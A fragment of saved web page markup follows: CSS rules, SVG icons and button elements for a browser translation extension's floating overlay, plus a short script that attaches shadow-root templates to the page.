3px;width:20px}html{font-size:17px}#mount#mount{position:absolute;display:none;min-width:250px;height:auto;--font-size:17px;font-size:17px}.imt-fb-container{position:fixed;padding:0;z-index:2147483647;top:335px;width:56px;display:flex;flex-direction:column;display:none}.imt-fb-container.left{align-items:flex-start;left:0}.imt-fb-container.right{align-items:flex-end;right:0}.imt-fb-btn{cursor:pointer;background:linear-gradient(320.9deg,#db3b7b 26.47%,#ffcee2 88.86%);height:36px;width:56px;box-shadow:2px 6px 10px 0px #0e121629}.imt-fb-btn.left{border-top-right-radius:36px;border-bottom-right-radius:36px}.imt-fb-btn.right{border-top-left-radius:36px;border-bottom-left-radius:36px}.imt-fb-btn div{background:linear-gradient(140.91deg,#ff87b7 12.61%,#ec4c8c 76.89%);height:34px;width:54px;margin:1px;display:flex;align-items:center}.imt-fb-btn.left div{border-top-right-radius:34px;border-bottom-right-radius:34px;justify-content:flex-end}.imt-fb-btn.right div{border-top-left-radius:34px;border-bottom-left-radius:34px}.imt-fb-logo-img{width:20px;height:20px;margin:0 10px}.imt-float-ball-translated{position:absolute;width:11px;height:11px;bottom:4px;right:20px}.btn-animate{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:-webkit-transform ease-out 250ms;transition:-webkit-transform ease-out 250ms;transition:transform ease-out 250ms;transition:transform ease-out 250ms,-webkit-transform ease-out 250ms}.imt-fb-setting-btn{margin-right:18px;width:28px;height:28px}.immersive-translate-popup-wrapper{background:var(--background-color);border-radius:20px;box-shadow:2px 10px 24px 0px #0e121614;border:none}.popup-container{border-radius:20px}.popup-content{border-radius:20px 20px 12px 12px}.popup-footer{border-radius:20px}.imt-fb-close-content{padding:22px;width:320px}.imt-fb-close-title{font-weight:500;color:var(--h2-color)}.imt-fb-close-radio-content{background-color:var(--background-light-green);padding:8px 20px}.imt-fb-radio-sel,.imt-fb-radio-nor{width:16px;height:16px;border-radius:8px;flex-shrink:0}.imt-fb-radio-sel{border:2px solid var(--primary);display:flex;align-items:center;justify-content:center}.imt-fb-radio-sel div{width:8px;height:8px;border-radius:4px;background-color:var(--primary)}.imt-fb-radio-nor{border:2px solid #d3d4d6}.imt-fb-primary-btn{background-color:var(--primary);width:72px;height:32px;color:white;border-radius:8px;text-align:center;line-height:32px;font-size:16px;cursor:pointer}.imt-fb-default-btn{border:1px solid var(--primary);width:72px;height:32px;border-radius:8px;color:var(--primary);line-height:32px;text-align:center;font-size:16px}.imt-fb-guide-container{width:312px;transform:translateY(-50%)}.imt-fb-guide-bg{position:absolute;left:0;right:0;top:0;bottom:0;z-index:-1;height:100%;width:100%}.imt-fb-guide-bg.left{transform:scaleX(-1)}.imt-fb-guide-content{margin:16px 32px 60px 21px;display:flex;flex-direction:column;align-items:center}.imt-fb-guide-content.left{margin:16px 21px 60px 32px}.imt-fb-guide-img{width:235px;height:171px;margin-top:16px}.imt-fb-guide-message{font-size:16px;line-height:28px;color:#333333;white-space:pre-wrap;text-align:center;font-weight:700;margin-top:10px}.imt-fb-guide-button{margin-top:16px;line-height:40px;height:40px;padding:0 20px;width:unset}.imt-fb-more-buttons{box-shadow:0px 2px 10px 0px #00000014;border:1px solid var(--float-ball-more-button-border-color);background:var(--float-ball-more-button-background-color);width:36px;display:flex;flex-direction:column;border-radius:18px;margin-right:8px}.imt-fb-more-button{width:36px;height:36px;display:flex;align-items:center;justify-content:center;cursor:pointer}.immersive-translate-sheet{position:fixed;transform:translateY(100%);left:0;right:0;background-color:white;transition:transform 0.3s ease-out;box-shadow:0px -2px 10px rgba(0,0,0,0.1);bottom:0;border-top-left-radius:16px;border-top-right-radius:16px;overflow:hidden}.immersive-translate-sheet.visible{transform:translateY(0)}.immersive-translate-sheet-backdrop{position:fixed;top:0;left:0;right:0;bottom:0;background-color:rgba(0,0,0,0.5);opacity:0;transition:opacity 0.3s ease-out}.immersive-translate-sheet-backdrop.visible{opacity:1}.popup-container-sheet{max-width:100vw;width:100vw}.imt-no-events svg *{pointer-events:none!important}.imt-manga-button{width:36px;display:flex;flex-direction:column;position:relative;align-items:center;justify-content:center;cursor:pointer;pointer-events:all;margin:12px 0 0 0;background-color:white;border-radius:18px;filter:drop-shadow(0px 2px 10px rgba(0,0,0,0.08));opacity:0.5;right:8px}.imt-manga-feedback{cursor:pointer;margin:10px 9px 12px 9px}.imt-manga-button:hover{opacity:1}.imt-manga-translated{position:absolute;left:24px;top:20px}.imt-float-ball-loading{animation:imt-loading-animation 0.6s infinite linear!important}.imt-manga-guide-bg{position:absolute;left:0;right:0;top:0;bottom:0;z-index:-1;width:372px;transform:translateY(-50%)}.imt-manga-guide-content{position:absolute;top:15px;left:0;right:0;margin:0 40px 0}.img-manga-guide-button{width:fit-content;margin:16px auto}.img-manga-close{position:absolute;bottom:-200px;width:32px;height:32px;left:0;right:0;margin:auto;cursor:pointer}@-webkit-keyframes imt-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes imt-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}</style><div id=mount style=display:block><div class="imt-fb-container right notranslate" dir=ltr style=z-index:2147483647;pointer-events:none;top:525px;display:flex><div title=关闭悬浮球 class=btn-animate style=transform:translateX(100%);padding:4px;cursor:pointer><svg width=14 height=14 viewBox="0 0 14 14" fill=none xmlns=http://www.w3.org/2000/svg><g clip-path=url(#clip0_2589_9951)><path d="M7 14C5.14348 14 3.36301 13.2625 2.05025 11.9497C0.737498 10.637 0 8.85652 0 7C0 5.14348 0.737498 3.36301 2.05025 2.05025C3.36301 0.737498 5.14348 0 7 0C8.85652 0 10.637 0.737498 11.9497 2.05025C13.2625 3.36301 14 5.14348 14 7C14 8.85652 13.2625 10.637 11.9497 11.9497C10.637 13.2625 8.85652 14 7 14ZM4.183 5.064L6.118 7L4.183 8.936C4.12409 8.99361 4.07719 9.06234 4.04502 9.1382C4.01285 9.21406 3.99605 9.29554 3.99559 9.37794C3.99513 9.46034 4.01101 9.54201 4.04234 9.61823C4.07366 9.69444 4.11978 9.76369 4.17805 9.82195C4.23631 9.88022 4.30556 9.92634 4.38177 9.95766C4.45799 9.98898 4.53966 10.0049 4.62206 10.0044C4.70446 10.004 4.78594 9.98715 4.8618 9.95498C4.93766 9.92281 5.00639 9.87591 5.064 9.817L7 7.882L8.936 9.817C9.05327 9.93168 9.21104 9.99548 9.37506 9.99457C9.53908 9.99365 9.69612 9.92809 9.8121 9.8121C9.92809 9.69612 9.99365 9.53908 9.99457 9.37506C9.99548 9.21104 9.93168 9.05327 9.817 8.936L7.882 7L9.817 5.064C9.87591 5.00639 9.92281 4.93766 9.95498 4.8618C9.98715 4.78594 10.004 4.70446 10.0044 4.62206C10.0049 4.53966 9.98898 4.45799 9.95766 4.38177C9.92634 4.30556 9.88022 4.23631 9.82195 4.17805C9.76369 4.11978 9.69444 4.07366 9.61823 4.04234C9.54201 4.01101 9.46034 3.99513 9.37794 3.99559C9.29554 3.99605 9.21406 4.01285 9.1382 4.04502C9.06234 4.07719 8.99361 4.12409 8.936 4.183L7 6.118L5.064 4.183C4.94673 4.06832 4.78896 4.00452 4.62494 4.00543C4.46092 4.00635 4.30388 4.07191 4.1879 4.1879C4.07191 4.30388 4.00635 4.46092 4.00543 4.62494C4.00452 4.78896 4.06832 4.94673 4.183 5.064Z" fill=#B1B1B1 fill-opacity=0.32></path></g><defs><clippath id=clip0_2589_9951><rect width=14 height=14 fill=white></rect></clippath></defs></svg></div><div style=position:relative;pointer-events:all;display:inline-block><div><div class="imt-fb-btn right btn-animate" dir=ltr style=transform:translateX(20px);opacity:0.5><div><svg xmlns=http://www.w3.org/2000/svg viewBox="0 0 24 24" width=24 height=24 class=imt-fb-logo-img><path fill=none d="M0 0h24v24H0z"></path><path d="M5 15v2a2 2 0 0 0 1.85 1.995L7 19h3v2H7a4 4 0 0 1-4-4v-2h2zm13-5l4.4 11h-2.155l-1.201-3h-4.09l-1.199 3h-2.154L16 10h2zm-1 2.885L15.753 16h2.492L17 12.885zM8 2v2h4v7H8v3H6v-3H2V4h4V2h2zm9 1a4 4 0 0 1 4 4v2h-2V7a2 2 0 0 0-2-2h-3V3h3zM6 6H4v3h2V6zm4 0H8v3h2V6z" fill=rgba(255,255,255,1)></path></svg><svg hidden class=imt-float-ball-translated width=11 height=11 viewBox="0 0 11 11" fill=none xmlns=http://www.w3.org/2000/svg><circle cx=5.5 cy=5.5 r=5.5 fill=#68CD52></circle><path d="M1.40857 5.87858L2.24148 5.18962L4.15344 6.64214C4.15344 6.64214 6.33547 4.15566 9.00658 2.48145L9.32541 2.87514C9.32541 2.87514 6.28665 5.55844 4.71735 9.07881L1.40857 5.87858Z" fill=white></path></svg></div></div></div></div><div hidden class="imt-manga-button imt-no-events btn-animate sf-hidden" id=manga-button style=transform:translateX(8px)><svg width=32 height=32 viewBox="0 0 32 32" fill=none xmlns=http://www.w3.org/2000/svg><g id=manhua><path id=Vector d="M14.8853 4.92364C14.8853 4.92364 16.3905 10.4362 22.6668 4C22.6668 4 20.3381 10.8907 25.3364 10.0843C25.3364 10.0843 22.0563 15.6994 29 18.0599C29 18.0599 22.9934 19.306 21.1617 28C21.1617 28 17.7679 24.54 14.8853 27.3549C14.8853 27.3549 13.3233 23.5724 7.33097 26.27C7.33097 26.27 10.1141 20.6549 4.83179 21.0507C4.83179 21.0507 7.16057 18.8955 3 15.9047C3 15.9047 7.50137 16.1833 6.33697 11.7117C6.33697 11.7117 10.0005 12.3421 8.66576 6.82957C8.65156 6.81491 12.4855 9.80574 14.8853 4.92364Z" fill=#EA4C89></path><path id=Vector_2 d="M20.8599 13.7022C20.885 13.1361 20.9543 12.5713 20.9959 12.0052C21.0337 11.568 20.8107 11.2794 20.3876 11.18C20.0759 11.1013 19.7508 11.0867 19.433 11.137C19.1951 11.1945 18.9542 11.2396 18.7113 11.2721C18.2403 11.3028 17.9973 11.5275 17.9796 11.988C17.977 12.0833 17.9596 12.1777 17.928 12.268C17.3034 13.9102 16.6774 15.5499 16.0503 17.1873C16.0301 17.2401 16.0062 17.2904 15.9671 17.3776C15.7291 16.8975 15.4281 16.4898 15.2745 15.9986C14.8073 14.5152 14.3186 13.033 13.8312 11.5594C13.6826 11.1112 13.3489 10.9344 12.8754 11.0216C12.7889 11.0365 12.7008 11.0398 12.6134 11.0314C12.2241 10.9938 11.8311 11.0404 11.4623 11.1677C11.0946 11.2991 10.9498 11.557 11.0152 11.9254C11.0428 12.0371 11.0643 12.1503 11.0795 12.2643C11.1223 13.1902 11.1777 14.1087 11.2054 15.0321C11.257 16.7992 11.2117 18.5651 11.0858 20.3284C11.0644 20.6354 11.0304 20.9424 11.0228 21.2494C11.0115 21.6092 11.1613 21.7811 11.5266 21.8143C11.9976 21.8573 12.4711 21.8708 12.9421 21.9088C13.0309 21.9201 13.121 21.9003 13.1962 21.8528C13.2714 21.8053 13.3268 21.7334 13.3527 21.6497C13.3996 21.5394 13.4252 21.4216 13.4282 21.3022C13.4295 20.8258 13.4207 20.3493 13.4081 19.8741C13.393 19.3264 13.3917 18.7763 13.3438 18.231C13.2857 17.5839 13.266 16.934 13.2847 16.2847C13.2847 16.2466 13.291 16.2073 13.2985 16.1312C13.3338 16.2024 13.3514 16.2356 13.3665 16.2712C13.9017 17.5228 14.3617 18.8037 14.7443 20.1074C14.7928 20.2421 14.7928 20.3889 14.7443 20.5237C14.6322 20.8196 14.7141 21.037 14.9659 21.1377C15.4445 21.3268 15.9331 21.4926 16.4155 21.6731C16.4865 21.7033 16.566 21.7091 16.6408 21.6895C16.7157 21.6698 16.7815 21.6259 16.8273 21.565C16.9085 21.4643 16.9743 21.3526 17.0225 21.2335C17.0537 21.1374 17.0798 21.0399 17.1006 20.9412C17.3185 20.2425 17.5653 19.5499 17.7517 18.8438C17.9785 17.9723 18.2624 17.1158 18.6018 16.2798C18.6201 16.2439 18.6411 16.2094 18.6647 16.1766C18.6761 16.2319 18.6761 16.254 18.6761 16.2761C18.6345 17.59 18.5955 18.8978 18.5501 20.2056C18.5363 20.5949 18.491 20.9829 18.4809 21.3722C18.4721 21.705 18.6207 21.8708 18.9557 21.9002C19.4355 21.9432 19.9191 21.9592 20.4002 21.9973C20.4888 22.0079 20.5784 21.9875 20.653 21.9399C20.7277 21.8922 20.7827 21.8203 20.8082 21.7369C20.8531 21.6305 20.8766 21.5167 20.8775 21.4017C20.88 20.7668 20.8674 20.132 20.8674 19.4971C20.8662 19.2846 20.8687 19.0722 20.8523 18.8622C20.8158 18.3968 20.7264 17.9314 20.7339 17.4685C20.7515 16.2122 20.8044 14.9572 20.8599 13.7022Z" fill=white></path></g></svg><svg hidden class=imt-manga-translated width=11 height=11 viewBox="0 0 11 11" fill=none xmlns=http://www.w3.org/2000/svg><circle cx=5.5 cy=5.5 r=5.5 fill=#68CD52></circle><path d="M1.40857 5.87858L2.24148 5.18962L4.15344 6.64214C4.15344 6.64214 6.33547 4.15566 9.00658 2.48145L9.32541 2.87514C9.32541 2.87514 6.28665 5.55844 4.71735 9.07881L1.40857 5.87858Z" fill=white></path></svg><svg class=imt-float-ball-loading hidden width=19 height=19 viewBox="0 0 19 19" fill=none xmlns=http://www.w3.org/2000/svg style=margin:9px><path d="M9.42859 0C9.84288 0 10.1929 0.387143 10.1929 0.847143V3.99429C10.1929 4.45429 9.84431 4.84143 9.42859 4.84143C9.01431 4.84143 8.66431 4.45571 8.66431 3.99429V0.847143C8.66431 0.387143 9.01288 0 9.42859 0Z" fill=#E9E9E9></path><path d="M14.1301 1.38877C14.5158 1.62591 14.6301 2.12163 14.4258 2.52305L12.9515 5.19448C12.901 5.28714 12.8325 5.36876 12.75 5.43455C12.6675 5.50035 12.5727 5.54898 12.4712 5.5776C12.3696 5.60621 12.2634 5.61424 12.1586 5.60119C12.0539 5.58814 11.9529 5.55429 11.8615 5.50163C11.6787 5.38432 11.5468 5.20237 11.4923 4.9921C11.4377 4.78184 11.4645 4.55874 11.5672 4.36734L13.0415 1.69591C13.2686 1.29448 13.7443 1.15305 14.1301 1.38877Z" fill=#989697></path><path d="M17.4685 4.75707C17.5813 4.95451 17.6123 5.18824 17.5549 5.40825C17.4975 5.62826 17.3563 5.81705 17.1614 5.93422L14.4971 7.52564C14.0971 7.76993 13.6014 7.62422 13.3657 7.20707C13.2532 7.00994 13.2222 6.77667 13.2793 6.55702C13.3365 6.33737 13.4771 6.14874 13.6714 6.03136L16.3357 4.43993C16.7371 4.21993 17.2557 4.34136 17.4685 4.7585V4.75707Z" fill=#9B999A></path><path d="M18.8572 9.42835C18.8572 9.84263 18.47 10.1926 18.01 10.1926H14.8629C14.4029 10.1926 14.0157 9.84406 14.0157 9.42835C14.0157 9.01406 14.4029 8.66406 14.8629 8.66406H18.01C18.47 8.66406 18.8572 9.01263 18.8572 9.42835Z" fill=#A3A1A2></path><path d="M17.4686 14.1303C17.3515 14.3134 17.1697 14.4455 16.9594 14.5003C16.7491 14.5552 16.5259 14.5286 16.3343 14.426L13.6629 12.9517C13.5702 12.9012 13.4886 12.8327 13.4228 12.7503C13.357 12.6678 13.3084 12.573 13.2798 12.4714C13.2512 12.3698 13.2431 12.2636 13.2562 12.1589C13.2692 12.0542 13.3031 11.9532 13.3558 11.8617C13.4731 11.6789 13.655 11.547 13.8653 11.4925C14.0755 11.4379 14.2986 11.4647 14.49 11.5674L17.1615 13.0417C17.5629 13.2689 17.7043 13.7446 17.4686 14.1303Z" fill=#ABA9AA></path><path opacity=0.7 d="M14.1 17.4686C13.9026 17.5814 13.6689 17.6124 13.4489 17.555C13.2288 17.4976 13.04 17.3564 12.9229 17.1615L11.3315 14.4972C11.0872 14.0972 11.2329 13.6015 11.65 13.3658C11.8472 13.2533 12.0804 13.2224 12.3001 13.2795C12.5197 13.3366 12.7084 13.4773 12.8257 13.6715L14.4172 16.3358C14.6372 16.7372 14.5157 17.2558 14.0986 17.4686H14.1Z" fill=#B2B2B2></path><path opacity=0.6 d="M9.42859 18.8571C9.01431 18.8571 8.66431 18.4699 8.66431 18.0099V14.8628C8.66431 14.4028 9.01288 14.0156 9.42859 14.0156C9.84288 14.0156 10.1929 14.4028 10.1929 14.8628V18.0099C10.1929 18.4699 9.84431 18.8571 9.42859 18.8571Z" fill=#BAB8B9></path><path opacity=0.5 d="M4.72717 17.4685C4.5441 17.3514 4.41195 17.1696 4.35713 16.9593C4.30231 16.749 4.32885 16.5258 4.43145 16.3342L5.90574 13.6628C5.95622 13.5701 6.02472 13.4885 6.1072 13.4227C6.18969 13.3569 6.2845 13.3083 6.38606 13.2797C6.48762 13.251 6.59387 13.243 6.69857 13.2561C6.80327 13.2691 6.90431 13.303 6.99574 13.3556C7.38145 13.5914 7.49431 14.0885 7.29002 14.4899L5.81574 17.1614C5.5886 17.5628 5.11288 17.7042 4.72717 17.4685Z" fill=#C2C0C1></path><path opacity=0.4 d="M1.38862 14.1002C1.27584 13.9027 1.24483 13.669 1.30223 13.449C1.35964 13.229 1.50089 13.0402 1.69576 12.923L4.36004 11.3316C4.76004 11.0873 5.25576 11.233 5.49147 11.6502C5.60393 11.8473 5.63491 12.0806 5.5778 12.3002C5.52069 12.5199 5.38 12.7085 5.18576 12.8259L2.52004 14.4173C2.12004 14.6373 1.60004 14.5159 1.38862 14.0987V14.1002Z" fill=#CBCBCB></path><path d="M0 9.42835C0 9.01406 0.387143 8.66406 0.847143 8.66406H3.99429C4.45429 8.66406 4.84143 9.01263 4.84143 9.42835C4.84143 9.84263 4.45571 10.1926 3.99429 10.1926H0.847143C0.387143 10.1926 0 9.84406 0 9.42835Z" fill=#D2D2D2></path><path opacity=0.2 d="M1.38852 4.72705C1.50561 4.54398 1.68746 4.41183 1.89774 4.35701C2.10803 4.30219 2.33125 4.32873 2.52281 4.43133L5.19424 5.90562C5.28689 5.9561 5.36851 6.0246 5.43431 6.10708C5.5001 6.18957 5.54874 6.28438 5.57735 6.38594C5.60597 6.48749 5.61399 6.59375 5.60094 6.69845C5.5879 6.80315 5.55405 6.90419 5.50138 6.99562C5.38407 7.17844 5.20212 7.31029 4.99186 7.36484C4.78159 7.4194 4.55849 7.39263 4.3671 7.2899L1.69567 5.81562C1.29424 5.58847 1.15281 5.11276 1.38852 4.72705Z" fill=#DADADA></path><path d="M4.75719 1.38849C4.95463 1.27571 5.18837 1.24471 5.40838 1.30211C5.62838 1.35952 5.81718 1.50077 5.93434 1.69564L7.52577 4.35992C7.77005 4.75992 7.62434 5.25564 7.20719 5.49135C7.01006 5.60381 6.77679 5.63479 6.55714 5.57768C6.33749 5.52056 6.14886 5.37988 6.03148 5.18564L4.44005 2.51992C4.22005 2.11992 4.34148 1.59992 4.75862 1.38849H4.75719Z" fill=#E2E2E2></path></svg></div><div class="imt-fb-more-buttons btn-animate" style=margin-top:12px;transform:translateX(60px)><div class=btn-animate style=position:relative;pointer-events:all;display:inline-block><div><div class=imt-fb-more-button><svg width=18 height=18 viewBox="0 0 18 18" fill=none xmlns=http://www.w3.org/2000/svg><path fill-rule=evenodd clip-rule=evenodd d="M11.6861 1L15.2353 4.54635V7.11765V14.6471V15.5882C15.2353 15.9627 15.0866 16.3217 14.8218 16.5865C14.557 16.8513 14.198 17 13.8235 17H4.41176C4.03734 17 3.67825 16.8513 3.4135 16.5865C3.14874 16.3217 3 15.9627 3 15.5882V14.6471V7.11765V2.41176C3 2.03734 3.14874 1.67825 3.4135 1.4135C3.67825 1.14874 4.03734 1 4.41176 1H11.6861ZM11.8692 3.17882V4.74212H13.4334L11.8692 3.17882ZM4.41171 15.5882V14.647V2.41176H10.4574L10.4578 6.15341H13.8235V14.647V15.5882H4.41171ZM12.7739 7.51746H5.46094V8.6155H12.7739V7.51746ZM5.46094 9.98805H12.7739V11.0861H5.46094V9.98805ZM9.5127 12.36H5.46094V13.458H9.5127V12.36Z" fill=#6C6F73></path></svg></div></div></div><div class=btn-animate style=position:relative;pointer-events:all;display:inline-block><div><div class=imt-fb-more-button><svg width=16 height=16 viewBox="0 0 16 16" fill=none xmlns=http://www.w3.org/2000/svg><path d="M6.55741 0L9.06847 0.00329403C9.84824 0.00470579 10.4802 0.636235 10.4812 1.41647L10.4821 1.82588C10.9687 2.0278 11.4297 2.28671 11.8553 2.59718L12.1913 2.40329C12.516 2.21676 12.9013 2.1665 13.2629 2.26352C13.6246 2.36055 13.933 2.59695 14.1207 2.92094L15.3795 5.09365C15.5601 5.40546 15.6149 5.7744 15.5328 6.12523C15.4507 6.47606 15.2378 6.78235 14.9376 6.98165L14.8609 7.02871L14.5235 7.22353C14.5819 7.76273 14.5736 8.30708 14.4986 8.84424L14.7372 8.98259C15.0496 9.16307 15.2812 9.45606 15.3848 9.80165C15.4884 10.1472 15.456 10.5193 15.2944 10.8419L15.2553 10.9153L14.076 12.9576C13.8955 13.27 13.6025 13.5017 13.2569 13.6053C12.9113 13.7088 12.5392 13.6765 12.2167 13.5148L12.1433 13.4753L11.8172 13.2871C11.4074 13.5817 10.9651 13.8283 10.4991 14.0221L10.4995 14.5831C10.5 14.9434 10.3629 15.2904 10.1163 15.5532C9.86972 15.816 9.53215 15.9748 9.17247 15.9972L9.08306 16L6.57153 15.9967C6.19697 15.9961 5.83793 15.847 5.57312 15.5821C5.30831 15.3172 5.15932 14.9581 5.15883 14.5835L5.15788 13.9073C4.76852 13.7244 4.39771 13.5044 4.05059 13.2504L3.44918 13.5967C3.12448 13.7834 2.73902 13.8337 2.37726 13.7367C2.01551 13.6397 1.70698 13.4032 1.5193 13.0791L0.260473 10.9064C0.0799611 10.5945 0.0252226 10.2255 0.107423 9.87467C0.189623 9.52384 0.402569 9.21757 0.702826 9.01835L0.779062 8.97129L1.3913 8.61835C1.34424 8.17129 1.34188 7.71765 1.38706 7.26494L0.707532 6.87247C0.395061 6.69207 0.163305 6.39911 0.0596515 6.05351C-0.0440025 5.70791 -0.0117246 5.33577 0.149885 5.01318L0.189415 4.93976L1.36871 2.89741C1.54919 2.58502 1.84218 2.35337 2.18777 2.2498C2.53336 2.14624 2.90547 2.17859 3.228 2.34023L3.30141 2.37976L3.89436 2.72188C4.28027 2.42082 4.69854 2.1637 5.14141 1.95529L5.14047 1.41694C5.14001 1.05657 5.27707 0.709596 5.52367 0.446813C5.77028 0.184029 6.10786 0.0252343 6.46753 0.00282354L6.55741 0ZM6.55553 1.41506L6.55694 2.85271L5.74377 3.23576C5.39553 3.39906 5.06706 3.60094 4.764 3.83718L4.01247 4.424L2.62941 3.62494L2.59365 3.60518L1.41483 5.64753L2.88636 6.49694L2.79506 7.40612C2.75968 7.7598 2.76078 8.11619 2.79836 8.46965L2.8953 9.38541L1.48494 10.1976L2.7433 12.3704L4.14377 11.5647L4.88636 12.1087C5.15997 12.309 5.45231 12.4823 5.7593 12.6264L6.57106 13.008L6.57388 14.5816L9.08447 14.5849L9.08306 13.0791L9.95553 12.7158C10.3216 12.5635 10.6689 12.3698 10.9908 12.1384L11.7329 11.6047L12.8506 12.2499L14.0289 10.2075L12.9654 9.592L13.0972 8.64847C13.1561 8.22659 13.1628 7.79904 13.1169 7.37553L13.0181 6.45882L14.1555 5.80235L12.8967 3.62965L11.7645 4.28235L11.0214 3.74024C10.686 3.4956 10.3229 3.29152 9.93953 3.13224L9.06894 2.77082L9.06659 1.41835L6.55553 1.41506ZM9.37153 5.47624C10.0214 5.85201 10.4955 6.47036 10.6898 7.19547C10.8841 7.92058 10.7827 8.69316 10.4078 9.34353C10.2223 9.66543 9.97517 9.9476 9.68053 10.1739C9.38589 10.4002 9.04953 10.5662 8.69068 10.6623C8.33183 10.7585 7.95754 10.7829 7.58923 10.7343C7.22092 10.6856 6.86582 10.5648 6.54424 10.3788C5.89445 10.003 5.4204 9.38458 5.2262 8.65948C5.032 7.93438 5.13352 7.16184 5.50847 6.51153C5.69395 6.18963 5.94107 5.90746 6.23571 5.68117C6.53034 5.45488 6.86671 5.28891 7.22556 5.19275C7.58441 5.09659 7.9587 5.07213 8.32701 5.12077C8.69532 5.16942 9.05042 5.29021 9.372 5.47624H9.37153ZM6.73388 7.21835C6.54638 7.54388 6.49567 7.9305 6.5929 8.29336C6.69012 8.65623 6.92733 8.96571 7.25247 9.15388C7.41305 9.24679 7.59037 9.30712 7.77429 9.33143C7.9582 9.35574 8.14511 9.34355 8.32431 9.29556C8.50351 9.24757 8.67149 9.16472 8.81864 9.05174C8.96579 8.93877 9.08923 8.7979 9.18188 8.63718C9.55883 7.98353 9.356 7.15435 8.73435 6.74494L8.66377 6.70118L8.59035 6.66165C8.26834 6.49988 7.89663 6.46742 7.55145 6.57093C7.20626 6.67444 6.91375 6.90608 6.73388 7.21835Z" fill=#6C6F73></path></svg></div></div></div></div><div hidden class="imt-fb-more-buttons btn-animate sf-hidden" style=margin-top:12px;transform:translateX(60px)></div></div></div></template></div><script data-template-shadow-root>(()=>{document.currentScript.remove();processNode(document);function processNode(node){node.querySelectorAll("template[shadowrootmode]").forEach(element=>{let shadowRoot = element.parentElement.shadowRoot;if (!shadowRoot) {try {shadowRoot=element.parentElement.attachShadow({mode:element.getAttribute("shadowrootmode"),delegatesFocus:element.getAttribute("shadowrootdelegatesfocus")!=null,clonable:element.getAttribute("shadowrootclonable")!=null,serializable:element.getAttribute("shadowrootserializable")!=null});shadowRoot.innerHTML=element.innerHTML;element.remove()} catch (error) {} if (shadowRoot) {processNode(shadowRoot)}}})}})()</script>